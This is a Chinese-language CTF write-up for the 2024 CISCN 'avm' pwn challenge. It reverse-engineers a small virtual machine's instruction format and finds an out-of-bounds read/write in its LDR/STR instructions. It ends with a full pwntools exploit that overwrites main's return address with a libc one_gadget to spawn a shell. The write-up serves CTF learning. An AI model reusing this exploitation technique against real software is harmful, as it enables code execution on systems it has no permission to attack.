[ 2024 · CISCN x 长城杯 ] pwn avm
2024 CISCN x 长城杯 AVM
avm
VM入门题。不过挺吃逆向经验的。之前都是复现,这算是第一次比赛的时候做出vm题。这个题的逆向思路非常经典,所以分享一下。
1.程序逆向
函数主函数如下:
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREF
unsigned __int64 v5; // [rsp+C08h] [rbp-8h]
v5 = __readfsqword(0x28u);
init();
memset(s, 0, 0x300uLL);
write(1, "opcode: ", 8uLL);
read(0, s, 0x300uLL);
sub_1230(&unk_40C0, s, 768LL);
sub_19F1(&unk_40C0);
return v5 - __readfsqword(0x28u);
}
memset了0x300的内存,write提示这块内存作为opcode输入,所以可以得到s变量就是opcode,之后的sub_1230和sub_19F1函数就是对我们输入的opcode的处理了。也是这个vm的主要功能
1.1 寄存器结构体逆向
首先看sub_1230函数:
_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size)
{
_QWORD *result; // rax
int i; // [rsp+24h] [rbp-4h]
a1[33] = opcode;
a1[34] = size;
result = a1;
a1[32] = 0LL;
for ( i = 0; i <= 31; ++i )
{
result = a1;
a1[i] = 0LL;
}
return result;
}
for循环有一个非常经典的循环32次置空的操作,这个是把32个通用寄存器置空的操作
另外从数组的32到34赋值操作的含义分别:
为33号寄存器赋值opcode的基地址
为34号寄存器赋值opcode的最大长度,可能是用来限制指令读取,防止越界的。
32号寄存器赋值为空,这里暂时不知道作用是什么。
之后可以为IDA编辑如下结构体:
struct registers{
__int64 r[32];
__int64 unknown;
__int64 op_base;
__int64 op_size;
};
之后去逆向sub_19F1函数
unsigned __int64 __fastcall sub_19F1(_QWORD *a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-114h]
_BYTE s[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+128h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 0, 0x100uLL);
while ( a1[32] < a1[34] )
{
v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
if ( v2 > 0xA || !v2 )
{
puts("Unsupported instruction");
return v4 - __readfsqword(0x28u);
}
(funcs_1AAD[v2])(a1, s);
}
return v4 - __readfsqword(0x28u);
}
程序上来先memset了0x100的内存,并在执行指令时将内存作为参数传递:(funcs_1AAD[v2])(a1, s);
其中,v2来锁定执行的是哪条命令:
v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
是将opcode转换为指令的译码过程。
其中已知33号寄存器是基地址,那么32号寄存器应该就是偏移地址。两个地址相加处理后的地址是当前执行的指令地址,对当前指令地址右移28位就是指令的操作码。
可以看到这个是一个定长的指令集hh
那么现在可以将结构体修改为下面的样子了:
struct registers{
__int64 r[32];
__int64 ip;
__int64 cs;
__int64 op_size;
};
之后去逆向指令即可
1.2 指令逆向
我们从第一个开始分析:下面是已经逆向好的内容:
Reg *__fastcall ADD(Reg *reg)
{
Reg *result; // rax
unsigned int PC; // [rsp+10h] [rbp-10h]
PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
reg->ip += 4LL;
result = reg;
reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F];
return result;
}
此处我们逆向的目的是分析指令编码情况:
- 通过
reg->r[PC & 0x1F]
我们可以看到,指令的低5位是用来指定通用寄存器序号的(0x1f),并且是保存操作结果的 - 之前
v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
可以看到,指令的高36位(64位定长指令)或者高4位(32位定长指令)是用来指定指令操作码的 reg->ip += 4LL;
可以看到,以4字节为一个单位长度,代表指令是32位。
指令码大致如下:32bit:
0001 |0000 000|0 0000 | 0000 00| 00 000 |0 0000
操作码| |操作reg号| | reg号 |reg号
仅1~10 | |
HIWORD(PC) & 0x1F |
(PC >> 5) & 0x1F
之后其他指令都与此类似。唯二两个不同的指令如下:
unsigned __int64 __fastcall STR(Reg *reg, __int64 s)
{
unsigned __int64 result; // rax
unsigned int PC; // [rsp+20h] [rbp-20h]
_QWORD *v4; // [rsp+30h] [rbp-10h]
PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
reg->ip += 4LL;
result = byte_4010;
if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
{
v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);
*v4 = reg->r[PC & 0x1F];
return v4;
}
return result;
}
Reg *__fastcall LDR(Reg *reg, __int64 s)
{
Reg *result; // rax
unsigned __int16 v3; // [rsp+1Eh] [rbp-22h]
unsigned int PC; // [rsp+20h] [rbp-20h]
PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
reg->ip += 4LL;
result = byte_4010;
if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
{
result = reg;
v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF);
reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s);
}
return result;
}
byte_4010中存的是0xff,if检查判断要求之后操作的地址范围在之前memset的0x100以内
检查条件如下:
if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )
STR指令赋值操作:
v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);
s是memset内存的基地址,(reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF))
是偏移
这里可以看到检测条件是0xff以内,但是if里面的赋值操作却可以写s加0x1000偏移以内的数据
2.漏洞利用
很明显,LDR和STR存在越界读写漏洞
没有输出函数,无法获得libc,打法是:
- 先构造一个LDR把一个onegadget附件的libc地址写入寄存器。
- 利用SUB指令将这个libc减去和onegadget的偏移,结果保存在指定寄存器中
- 利用STR把onegadget地址写入到main函数返回地址上。
这里解释一下下面的exp,sub操作只能在寄存器之间操作。所以无法直接写入一个我们希望的数据。利用方法是:先在opcode末尾加入我们计算好的onegadget与指定libc地址的偏移,然后通过STR指令将这个数据读入到寄存器中,再sub即可
3.exp
from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '8.147.135.93'
port = 37051
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)
# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(log_level = 'debug', os = 'linux', arch = 'i386')
def protect_ptr(address, next)-> int:
return (address >> 12)^ next
def dbg():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
def ADD():
ins = 1
opcode = ins<<28
return p32(opcode)
def SUB(target_reg,sub_reg,besub_reg):
ins = 2
sub_reg = (sub_reg & 0x1f) << 5
besub_reg = (besub_reg & 0x1f) << 16
opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_reg
return p32(opcode)
def STR(reg_idx,offset,store_reg):
ins = 9
reg_idx = (reg_idx & 0x1f) << 5
offset = (offset & 0xfff) << 16
opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offset
return p32(opcode)
def LDR(reg_idx,offset,save_reg):
ins = 10
reg_idx = (reg_idx & 0x1f) << 5
offset = (offset & 0xfff) << 16
opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offset
return p32(opcode)
onegadget = 0x249040 - 0x50a47 #libc.sym['_dl_fini']
opcode = LDR(0,0xa40,1) + LDR(0,0x138,2)
opcode += SUB(4,1,2) + STR(0,0x118,4)
opcode += p64(0)
opcode += p64(onegadget)
# dbg()
sa(b'opcode',opcode)
# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
ia()